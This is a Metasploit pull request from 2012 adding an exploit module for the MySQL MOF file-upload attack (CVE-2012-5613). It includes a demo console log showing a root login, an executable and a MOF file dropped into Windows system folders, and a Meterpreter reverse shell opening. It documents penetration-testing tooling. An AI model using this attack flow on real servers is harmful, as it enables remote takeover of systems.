rapid7/metasploit-framework — pull request #1132 by wchen-r7 (2012-12-06 10:02:30+00:00)
Title: Add CVE-2012-5613: That MySQL 0day "Stuxnet" tekniq thingy

This is one of kingcope's MySQL "0days". I decided to add it due to CVE coverage, and it adds another attack vector to a pentest. Who knows, maybe sometimes people need to test this.

Demo:

msf exploit(mysql_mof) > check
[*] The target appears to be vulnerable.
msf exploit(mysql_mof) > exploit

[*] Started reverse handler on 10.0.1.3:4444
[*] 10.0.1.6:3306 - Attempting to login as 'root:goodpass'
[*] 10.0.1.6:3306 - Uploading to 'C:/windows/system32/iwMva.exe'
[*] 10.0.1.6:3306 - Uploading to 'C:/windows/system32/wbem/mof/FgQpn.mof'
[*] Sending stage (752128 bytes) to 10.0.1.6
[*] Meterpreter session 5 opened (10.0.1.3:4444 -> 10.0.1.6:1596) at 2012-12-06 03:59:50 -0600

meterpreter >